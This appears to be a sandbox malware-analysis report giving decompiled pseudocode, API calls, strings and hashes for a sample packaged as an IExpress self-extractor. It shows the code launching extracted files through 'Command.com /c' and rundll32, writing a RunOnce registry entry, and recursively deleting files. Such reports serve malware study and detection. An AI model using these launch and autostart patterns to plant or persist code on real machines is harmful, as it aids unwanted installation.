				_v1556 = _t53;
				_t54 = E00321A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E00321781( &_v268, 0x104, _t111, "C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
					E0032658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E00321680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E003266C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E003266C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E00321680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E00321781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E003216B3( &_v1552, 0x400, " ");
										E003216B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E00322AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E0032171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E00321A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E00321A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E003244B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0x329120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0x321140, _t156, 8,  &_v268) == 0) {
										 *0x329a34 =  *0x329a34 & 0xfffffffb;
										if( *0x329a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E0032171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0x329a34 =  *0x329a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E00321680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E00321680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E00326CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x00321af3
0x00321afa
0x00321b07
0x00321b09
0x00321b1a
0x00321b20
0x00321b2c
0x00321b3b
0x00321b40
0x00321b2e
0x00321b2e
0x00321b33
0x00321b33
0x00321b46
0x00321b4c
0x00321b52
0x00321b57
0x00321b5d
0x00321b61
0x00321b9f
0x00321b9f
0x00321bb1
0x00321bc2
0x00000000
0x00321b63
0x00321b63
0x00321b65
0x00321b68
0x00321b68
0x00321b6a
0x00321b6b
0x00321b6f
0x00321b74
0x00000000
0x00000000
0x00321b76
0x00321b7b
0x00321b86
0x00000000
0x00000000
0x00000000
0x00000000
0x00321b8c
0x00321b8c
0x00321b98
0x00321bc7
0x00321bc9
0x00321bcc
0x00321bd3
0x00321d75
0x00321d76
0x00321d78
0x00321d7f
0x00321e05
0x00321e09
0x00000000
0x00000000
0x00321e12
0x00321e1b
0x00321e73
0x00321e21
0x00321e21
0x00321e28
0x00321e37
0x00321e3e
0x00321e52
0x00321e60
0x00321e60
0x00321e3e
0x00321e79
0x00321e7b
0x00321e84
0x00000000
0x00321d9b
0x00321d9b
0x00321da0
0x00321da2
0x00321da5
0x00321da5
0x00321da7
0x00321da8
0x00321dac
0x00321dae
0x00321db4
0x00321db7
0x00321db7
0x00321db9
0x00321dba
0x00321dbe
0x00321dc3
0x00321dce
0x00321dd2
0x00321deb
0x00000000
0x00321df0
0x00000000
0x00321dd2
0x00321bf7
0x00321bfe
0x00321c07
0x00321d55
0x00321d5a
0x00321d5b
0x00321d5d
0x00321d5e
0x00000000
0x00321c1b
0x00321c1b
0x00321c20
0x00321c2c
0x00321c33
0x00321c38
0x00321c3a
0x00321c3a
0x00321c40
0x00321c4b
0x00321c4b
0x00321c5d
0x00321c61
0x00321dd4
0x00321dd4
0x00321dd6
0x00321ddb
0x00321ddc
0x00321dde
0x00321d64
0x00321d64
0x00321d67
0x00321d6c
0x00000000
0x00321c67
0x00321c67
0x00321c6d
0x00321c72
0x00321c74
0x00321c74
0x00321c8e
0x00321c99
0x00321cc0
0x00321cf8
0x00321d07
0x00321d23
0x00321d09
0x00321d14
0x00321d1b
0x00321d1b
0x00321d2b
0x00321d2d
0x00321d2d
0x00321d38
0x00321d39
0x00321d46
0x00321cc2
0x00321cc2
0x00321ccc
0x00321cce
0x00321cce
0x00321cdb
0x00321ce6
0x00321cee
0x00321cee
0x00321e89
0x00321e91
0x00321e92
0x00321e94
0x00321e97
0x00321ea4
0x00321ea4
0x00321c61
0x00321c07
0x00321bd3
0x00321b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00321BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00321BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00321C57
GetPrivateProfileIntA.KERNEL32 ref: 00321C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00321140,00000000,00000008,?), ref: 00321CB8
GetShortPathNameA.KERNEL32 ref: 00321D1B

Part of subcall function 003244B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
Part of subcall function 003244B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554

Strings

.BAT, xrefs: 00321D83
Version, xrefs: 00321CB3
DefaultInstall, xrefs: 00321C74, 00321C87, 00321CCE, 00321CD3, 00321D2D, 00321D39
AdvancedINF, xrefs: 00321CAE
", xrefs: 00321B25
Command.com /c %s, xrefs: 00321D9B, 00321DE8
Reboot, xrefs: 00321C82
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00321BA0
setupapi.dll, xrefs: 00321D23, 00321D3A
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00321D3B
.INF, xrefs: 00321BDB
setupx.dll, xrefs: 00321D14

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-2145762761
Opcode ID: 5b274f0e5e1050f70053c26da397a6037ed388dbbca7944c466db81a238d9571
Instruction ID: 266dc4843170e3023eafc2fbf44388995f06139efee60d72cea991e9f3659c52
Opcode Fuzzy Hash: 5b274f0e5e1050f70053c26da397a6037ed388dbbca7944c466db81a238d9571
Instruction Fuzzy Hash: 74A17C70A00238ABEB339B24FE45FFA776D9B71310F154299E455A72C0DBB09E86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00322F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00322F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0x328004; // 0x2c4b51c8
				_v8 = _t9 ^ _t46;
				if( *0x328a38 != 0) {
					L5:
					_t11 = E00325164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E00326CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E003255A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E0032658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0x32a288("C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0x328a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0x328a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0x328d48 & 0x000000c0;
									if(( *0x328d48 & 0x000000c0) == 0) {
										_t41 =  *0x329a40; // 0x3, executed
										_t26 = E0032256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0x328a24; // 0x0
									 *0x329a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0x328a38;
										if( *0x328a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E00324169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0x329a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E00323BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0x328a24; // 0x0
										goto L26;
									}
								}
								_t27 = E00323B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E003244B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0x329124 = E00326285();
							goto L16;
						}
						_t59 =  *0x329a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E0032621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0x328a24;
				if( *0x328a24 != 0) {
					L4:
					_t34 = E00323A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E003251E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0x328a38;
				if( *0x328a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x00322f1d
0x00322f28
0x00322f2f
0x00322f3d
0x00322f6c
0x00322f6c
0x00322f71
0x00322f73
0x00323041
0x00323041
0x00323043
0x00323053
0x00323053
0x00322f79
0x00322f80
0x00000000
0x00322f86
0x00322f86
0x00322f93
0x00322f9e
0x00322fa0
0x00322fa6
0x00322fb8
0x00322fba
0x00322fbe
0x00322fc6
0x00322fcc
0x00322fd4
0x00322fd6
0x00322fd8
0x00322fe0
0x00322fe6
0x00322fee
0x00322ff0
0x00322ff5
0x00322ff5
0x00322fee
0x00322fd4
0x00322ff8
0x00322ffe
0x00323004
0x00323017
0x0032301c
0x00323024
0x00323054
0x0032305a
0x00323065
0x00323065
0x0032306c
0x0032306e
0x00323075
0x0032307a
0x0032307a
0x0032307c
0x00323081
0x00323087
0x00323089
0x003230a1
0x003230a1
0x003230a9
0x003230ab
0x003230ad
0x003230af
0x003230af
0x003230ad
0x003230b6
0x00000000
0x0032308b
0x0032308b
0x00323091
0x00000000
0x00000000
0x00323093
0x00323098
0x0032309a
0x00000000
0x00000000
0x0032309c
0x00000000
0x0032309c
0x00323089
0x0032305c
0x00323061
0x00323063
0x00000000
0x00000000
0x00000000
0x00323063
0x0032302b
0x00323032
0x0032303c
0x00000000
0x0032303c
0x00323006
0x0032300c
0x00000000
0x00000000
0x0032300e
0x00323015
0x00000000
0x00000000
0x00000000
0x00323015
0x00322f80
0x00322f3f
0x00322f46
0x00322f5f
0x00322f5f
0x00322f64
0x00322f66
0x00000000
0x00000000
0x00000000
0x00322f66
0x00322f4f
0x00000000
0x00000000
0x00322f55
0x00322f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 00322F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00322FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00322FC6
DecryptFileA.ADVAPI32 ref: 00322FE6
FreeLibrary.KERNEL32(00000000), ref: 00322FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0032301C

Part of subcall function 003251E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00322F4D,?,00000002,00000000), ref: 00325201

Strings

advapi32.dll, xrefs: 00322F99
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00322FDB, 00323017
DecryptFileA, xrefs: 00322FC0

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-4070797333
Opcode ID: 4308a4caaaa93d509062ab6e818bfae4469f77874328b0158c8b41ee37bd9e8a
Instruction ID: 9ae0ad7cde5f9ff6834651a897684a3a4055ae3211132c21dde97c490d487885
Opcode Fuzzy Hash: 4308a4caaaa93d509062ab6e818bfae4469f77874328b0158c8b41ee37bd9e8a
Instruction Fuzzy Hash: F241C630A017359BDB33AB71BD4676A33ACDB54750F11806EE942D6191EF78CE82CA71

Uniqueness

Uniqueness Score: -1.00%

Function 00322390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00322390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0x328004; // 0x2c4b51c8
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E00326CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E00321680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E003216B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E00321680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E003216B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E003216B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E0032658A( &_v280, 0x104, 0x321140);
								E00322390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x00322398
0x0032239e
0x003223a3
0x003223a5
0x003223ae
0x003223b3
0x003224cb
0x003224d2
0x003224d3
0x003224d4
0x003224df
0x003223c2
0x003223d1
0x003223db
0x003223e4
0x003223f6
0x003223fc
0x00322401
0x00000000
0x00000000
0x00000000
0x00000000
0x00322407
0x00322407
0x00322408
0x00322411
0x0032241f
0x0032247a
0x00322483
0x00322495
0x003224a3
0x00322421
0x0032242f
0x00322453
0x0032245d
0x00322466
0x00322472
0x00322472
0x0032242f
0x003224af
0x003224b5
0x003224be
0x003224c5
0x00000000
0x003224c5

APIs

FindFirstFileA.KERNELBASE(?,00328A3A,003211F4,00328A3A,00000000,?,?), ref: 003223F6
lstrcmpA.KERNEL32(?,003211F8), ref: 00322427
lstrcmpA.KERNEL32(?,003211FC), ref: 0032243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00322495
DeleteFileA.KERNEL32(?), ref: 003224A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 003224AF
FindClose.KERNELBASE(00000000), ref: 003224BE
RemoveDirectoryA.KERNELBASE(00328A3A), ref: 003224C5

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 007c67cf830b41f889024187bb03e9f4b1a73b2d085f17b0a6b72d5e9acdb840
Instruction ID: 60b72e2dde82b7ccafd5927f7db1981b88944f394324aec508d99f5ed4d058ee
Opcode Fuzzy Hash: 007c67cf830b41f889024187bb03e9f4b1a73b2d085f17b0a6b72d5e9acdb840
Instruction Fuzzy Hash: 9A31A131204B50ABC332EF64ED8AAEF73ACAFC4315F05492DF95586290EB74A90DC752

Uniqueness

Uniqueness Score: -1.00%

Function 00322BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00322BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0x32a288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0x329124 = 0;
				if(E00322CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E00322F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E003252B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0x328a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0x329a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E00321F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0x328588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x329124; // 0x80070002
				return _t7;
			}

0x00322c03
0x00322c0d
0x00322c18
0x00322c20
0x00322c2e
0x00322c32
0x00322c36
0x00322c3d
0x00322c43
0x00322c45
0x00322c47
0x00322c49
0x00322c4e
0x00322c4e
0x00322c47
0x00322c32
0x00322c20
0x00322c50
0x00322c54
0x00322c57
0x00322c64
0x00322c66
0x00322c6b
0x00322c6d
0x00322c74
0x00322c76
0x00322c7c
0x00322c7e
0x00322c87
0x00322c89
0x00322c89
0x00322c87
0x00322c7c
0x00322c74
0x00322c8e
0x00322c95
0x00322c98
0x00322c98
0x00322c9e
0x00322ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00326BB0,00320000,00000000,00000002,0000000A), ref: 00322C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00326BB0,00320000,00000000,00000002,0000000A), ref: 00322C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00322C28
CloseHandle.KERNEL32(00000000,?,?,00326BB0,00320000,00000000,00000002,0000000A), ref: 00322C98

Strings

Kernel32.dll, xrefs: 00322C13
HeapSetInformation, xrefs: 00322C22

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 4f563d763d827e61d71407d36b674a1ad995c47a7012af707a0df6eb888d2693
Instruction ID: 27cfaf240128807d1b63cc38ba8e910838f4b2d6cc279e70772a42bdb5a749d1
Opcode Fuzzy Hash: 4f563d763d827e61d71407d36b674a1ad995c47a7012af707a0df6eb888d2693
Instruction Fuzzy Hash: 9E11EC71600335BFC7336BB5BD89B6F376D9B887A0F060429F804E7290CA30DC128662

Uniqueness

Uniqueness Score: -1.00%

Function 00326F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00326F40() {

				SetUnhandledExceptionFilter(E00326EF0); // executed
				return 0;
			}

0x00326f45
0x00326f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00326F45

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7ef89433e3e103df00e4b266c2565c2efced2100ff88e30b50883d4465de2d45
Instruction ID: 41def29e19dc96d05f1a693de87a8ab6a03e425b49cd49e04d46b843a3496e90
Opcode Fuzzy Hash: 7ef89433e3e103df00e4b266c2565c2efced2100ff88e30b50883d4465de2d45
Instruction Fuzzy Hash: F490027425155047A6221B70AE1A45575995F5D753F825464E011C4494DB7050515512

Uniqueness

Uniqueness Score: -1.00%

Function 0032202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0032202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0x328004; // 0x2c4b51c8
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E00326CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E0032171E("wextract_cleanup1", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup1", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E0032658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0x329a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0x3291e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0x3291e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0x3291e5);
